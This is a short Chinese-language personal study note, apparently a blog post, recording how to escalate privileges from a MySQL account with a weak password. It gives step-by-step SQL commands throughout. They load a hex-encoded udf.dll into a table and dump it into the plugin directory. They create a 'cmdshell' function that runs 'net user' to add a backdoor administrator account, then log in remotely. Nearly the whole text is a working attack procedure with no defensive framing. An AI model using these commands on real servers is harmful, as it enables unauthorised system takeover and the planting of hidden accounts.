今天学习了,mysql弱口令的提权方式,特记录一下。
1.所使用的工具
1.mysql连接工具:navicat premium
2.提权工具udf.dll
udf.dll源码参考https://www.uedbox.com/udf-dll-source/
udf提权方法错误问题参考https://www.cnblogs.com/Le30bjectNs11/p/4536063.html
2.提权过程
1.连接数据库(要提前知道用户名和密码)
2.打开命令行界面
3.将udf.dll代码的16进制数声明给my_udf_a变量
首先将udf.dll文件转化为16进制数。然后使用命令:
use mysql;
set @my_udf_a=concat('',dll的16进制);
4.建表my_udf_data,字段为data,类型为longblob。
新建一个表用来存储udf.dll数据。命令:
create table my_udf_data(data LONGBLOB);
5. @ my_udf_a插入表my_udf_data。
将刚刚创建的my_udf_a中的数据导入。命令:
insert into my_udf_data values("");update my_udf_data set data = @my_udf_a;
6.查看udf.dll的导出路径。
命令:show variables like '%plugin%';
7.将udf.dll导出
命令:
select data from my_udf_data into DUMPFILE 'C:/Program Files/phpStudy/MySQL/lib/plugin/uudf.dll';
8.创建cmd function。
命令:
create function cmdshell returns string soname 'uudf.dll';
9.通过cmd function进行提权。
命令:
select cmdshell('net user x x /add');
select cmdshell('net localgroup administrators x /add');
10.远程到主机
11.查看管理员组